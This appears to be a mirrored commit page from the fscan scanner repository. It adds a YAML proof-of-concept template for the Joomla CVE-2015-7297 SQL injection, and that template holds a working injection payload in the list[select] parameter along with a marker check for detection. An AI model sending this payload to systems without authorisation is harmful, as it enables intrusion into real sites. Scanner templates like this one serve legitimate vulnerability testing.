archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 21:21:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

优化xray解析模块,支持groups、新增poc

Browse Source
This commit is contained in:
影舞者
2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/joomla-cve-2015-7297-sqli.yml
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-joomla-cve-2015-7297-sqli
rules:
- method: GET
path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)
expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2")
detail:
links:
- https://www.exploit-db.com/exploits/38797
- http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
- https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/